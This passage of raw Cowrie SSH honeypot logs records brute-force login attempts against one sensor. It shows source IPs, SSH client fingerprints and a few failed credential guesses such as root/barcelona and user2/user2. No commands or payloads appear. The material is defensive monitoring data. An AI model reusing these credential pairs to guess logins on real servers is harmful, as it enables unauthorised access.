{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:50.439561Z","src_ip":"192.109.200.237","session":"13b3cb000a0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:50.521025Z","src_ip":"192.109.200.237","session":"13b3cb000a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:50.768793Z","src_ip":"192.109.200.237","session":"13b3cb000a0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:51.853333Z","src_ip":"192.109.200.237","session":"13b3cb000a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40832,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6e82c3f8d6","protocol":"ssh","message":"New connection: 192.109.200.237:40832 (159.203.135.109:22) [session: 6b6e82c3f8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:53.535715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:53.540968Z","src_ip":"192.109.200.237","session":"6b6e82c3f8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:53.623125Z","src_ip":"192.109.200.237","session":"6b6e82c3f8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:53.870033Z","src_ip":"192.109.200.237","session":"6b6e82c3f8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:54.955942Z","src_ip":"192.109.200.237","session":"6b6e82c3f8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52116,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc719bc667b","protocol":"ssh","message":"New connection: 80.94.92.184:52116 (159.203.135.109:22) [session: 4cc719bc667b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:55.762198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:55.870057Z","src_ip":"80.94.92.184","session":"4cc719bc667b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:55.977259Z","src_ip":"80.94.92.184","session":"4cc719bc667b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40846,"dst_ip":"159.203.135.109","dst_port":22,"session":"1976a5a2b377","protocol":"ssh","message":"New connection: 192.109.200.237:40846 (159.203.135.109:22) [session: 1976a5a2b377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:56.662931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:56.742735Z","src_ip":"192.109.200.237","session":"1976a5a2b377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:56.824777Z","src_ip":"192.109.200.237","session":"1976a5a2b377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:57.042027Z","src_ip":"80.94.92.184","session":"4cc719bc667b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:57.103291Z","src_ip":"192.109.200.237","session":"1976a5a2b377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:58.187437Z","src_ip":"192.109.200.237","session":"1976a5a2b377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:58.304977Z","src_ip":"80.94.92.184","session":"4cc719bc667b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40968,"dst_ip":"159.203.135.109","dst_port":22,"session":"6473022cc759","protocol":"ssh","message":"New connection: 109.237.96.109:40968 (159.203.135.109:22) [session: 6473022cc759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:59.260823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:59.265090Z","src_ip":"109.237.96.109","session":"6473022cc759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:59.358747Z","src_ip":"109.237.96.109","session":"6473022cc759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40854,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4efadb63dde","protocol":"ssh","message":"New connection: 192.109.200.237:40854 (159.203.135.109:22) [session: c4efadb63dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:59.905641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:59.910269Z","src_ip":"192.109.200.237","session":"c4efadb63dde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barcelona","message":"login attempt [root/barcelona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:59.964341Z","src_ip":"109.237.96.109","session":"6473022cc759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:59.996860Z","src_ip":"192.109.200.237","session":"c4efadb63dde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:00.248724Z","src_ip":"192.109.200.237","session":"c4efadb63dde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:01.060801Z","src_ip":"109.237.96.109","session":"6473022cc759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:01.416819Z","src_ip":"192.109.200.237","session":"c4efadb63dde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38218,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ee051f2e99c","protocol":"ssh","message":"New connection: 192.109.200.237:38218 (159.203.135.109:22) [session: 5ee051f2e99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:03.187226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:03.191900Z","src_ip":"192.109.200.237","session":"5ee051f2e99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:03.274114Z","src_ip":"192.109.200.237","session":"5ee051f2e99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:03.521316Z","src_ip":"192.109.200.237","session":"5ee051f2e99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:04.607688Z","src_ip":"192.109.200.237","session":"5ee051f2e99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38232,"dst_ip":"159.203.135.109","dst_port":22,"session":"36ba8adbc994","protocol":"ssh","message":"New connection: 192.109.200.237:38232 (159.203.135.109:22) [session: 36ba8adbc994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:06.377556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:06.388514Z","src_ip":"192.109.200.237","session":"36ba8adbc994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:06.471662Z","src_ip":"192.109.200.237","session":"36ba8adbc994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:06.720463Z","src_ip":"192.109.200.237","session":"36ba8adbc994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:07.805967Z","src_ip":"192.109.200.237","session":"36ba8adbc994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38238,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba9c3978dc8f","protocol":"ssh","message":"New connection: 192.109.200.237:38238 (159.203.135.109:22) [session: ba9c3978dc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:09.564005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:09.569062Z","src_ip":"192.109.200.237","session":"ba9c3978dc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes12